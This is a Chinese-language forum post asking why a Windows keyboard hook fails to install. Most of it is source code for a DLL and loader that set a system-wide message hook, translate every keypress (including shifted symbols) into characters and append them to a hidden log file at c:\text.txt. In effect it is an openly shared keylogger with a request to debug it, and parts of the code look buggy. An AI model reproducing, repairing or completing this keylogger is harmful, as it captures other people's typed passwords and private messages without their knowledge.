安装钩子函数不能成功？为什么
我在网上找了，但是没找到解决方法，是我弄错了吗
加载动态链接库能成功，可是安装钩子不能成功？？
这是头文件 hookdll.h
#ifndef HOOKDLL_H
#define HOOKDLL_H
extern "C" bool _declspec(dllexport)EndHook(void);
extern "C" bool _declspec(dllexport)StartHook(void);
#endif
这是动态链接库文件hookdll.cpp
#include "hookdll.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
//#include "hookdll.h"
#define MAX 256
#define FILE "c:\\text.txt"
HHOOK kg_hHook;
HINSTANCE hInstance;
bool DataToFile(char* p){
DWORD dWrite = 0;
HANDLE hFile = CreateFile(FILE,GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(hFile == INVALID_HANDLE_VALUE){
printf("CreateFile failed: %d\n",GetLastError());
return false;
}
if(SetFilePointer(hFile,0,0,FILE_END) == HFILE_ERROR){
printf("SetFilePointer failed: %d\n",GetLastError());
return false;
}
if(WriteFile(hFile,p,strlen(p),&dWrite,0) == 0){
printf("WriteFile failed: %d\n",GetLastError());
return false;
}
CloseHandle(hFile);
return true;
}
LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam){
if(nCode < 0)
return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
if(nCode == HC_ACTION){
MSG* pEventMsg = (MSG*)lParam;
if(pEventMsg->message == WM_KEYDOWN){
int vKey = pEventMsg->wParam;
char ch;
char Buff[10];
memset(Buff,0x00,10);
const int keyMask = 0x80000000;
int iShift = GetKeyState(0x10);
int iCapital = GetKeyState(0x14);
int iNumLock = GetKeyState(0x96);
BOOL bShift = (iShift & keyMask) == keyMask;
BOOL bCapital = (iCapital & 1) == 1;
BOOL bNumLock = (iNumLock & 1) == 1;
if(vKey >= 48 && vKey <= 57){
switch(vKey){
case 48:if(!bShift) ch = '0';else ch = ')';break;
case 49:if(!bShift) ch = '1';else ch = '!';break;
case 50:if(!bShift) ch = '2';else ch = '@';break;
case 51:if(!bShift) ch = '3';else ch = '#';break;
case 52:if(!bShift) ch = '4';else ch = '$';break;
case 53:if(!bShift) ch = '5';else ch = '%';break;
case 54:if(!bShift) ch = '6';else ch = '^';break;
case 55:if(!bShift) ch = '7';else ch = '&';break;
case 56:if(!bShift) ch = '8';else ch = '*';break;
case 57:if(!bShift) ch = '9';else ch = '(';break;
}
Buff[0] = ch;
DataToFile(Buff);
}
if(vKey >= 65 && vKey <= 90){
if(!bCapital){
if(bShift)
ch = vKey;
else
ch = vKey + 32;
}
else{
if(bShift)
ch = vKey + 32;
else
ch = vKey;
}
Buff[0] = ch;
DataToFile(Buff);
}
if(vKey >= 96 && vKey <= 105){
if(bNumLock){
switch(vKey){
case 96: ch = '0';break;
case 97: ch = '1';break;
case 98: ch = '2';break;
case 99: ch = '3';break;
case 100:ch = '4';break;
case 101:ch = '5';break;
case 102:ch = '6';break;
case 103:ch = '7';break;
case 104:ch = '8';break;
case 105:ch = '9';break;
}
Buff[0] = ch;
DataToFile(Buff);
}
}
if(vKey >= 106 && vKey <= 222){
switch(vKey){
case 186:if(!bShift) ch = ';';else ch = ':';break;
case 187:if(!bShift) ch = '=';else ch = '+';break;
case 188:if(!bShift) ch = ',';else ch = '<';break;
case 189:if(!bShift) ch = '-';else ch = '_';break;
case 190:if(!bShift) ch = '.';else ch = '>';break;
case 191:if(!bShift) ch = '/';else ch = '?';break;
case 192:if(!bShift) ch = '`';else ch = '~';break;
case 219:if(!bShift) ch = '[';else ch = '{';break;
case 220:if(!bShift) ch = '\\';else ch = '|';break;
case 221:if(!bShift) ch = ']';else ch = '}';break;
case 222:if(!bShift) ch = '\'';else ch = '\"';break;
default:
break;
}
Buff[0] = ch;
DataToFile(Buff);
}
switch(vKey){
case 8: strcpy(Buff,"[BK]");
DataToFile(Buff);
break;
case 13:
strcpy(Buff,"[enter]");
DataToFile(Buff);
break;
default:
break;
}
}
}
return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
}
bool StartHook(void){
if(kg_hHook)
return false;
kg_hHook = SetWindowsHookEx(WH_GETMESSAGE,KeyHookProc,hInstance,NULL);
if(kg_hHook)
return true;
return false;
}
bool EndHook(void){
if(!kg_hHook)
return false;
if(UnhookWindowsHookEx(kg_hHook))
return true;
return false;
}
DWORD WINAPI DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpResvered){
hInstance = (HINSTANCE)hModule;
switch(ul_reason_for_call){
case DLL_PROCESS_ATTACH:
printf("DLL_PROCESS_ATTACH\n");
break;
case DLL_PROCESS_DETACH:
if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
printf("DLL_PROCESS_DETACH\n");
break;
case DLL_THREAD_ATTACH:
printf("dll_thread_attach\n");
break;
case DLL_THREAD_DETACH:
if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
printf("dll_thread_detach\n");
break;
default:
break;
}
return true;
}
这是调用文件
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
typedef bool(*starthook)(void);
int main(void){
HINSTANCE hDll = LoadLibrary("hookdll.dll");
starthook startHook;
if(hDll)
startHook = (starthook)GetProcAddress(hDll,"StartHook");
else
printf("error\n");
if(!startHook)
printf("errpr\n");
else
startHook();
return 0;
}
困扰了我好久。。。请大家解决
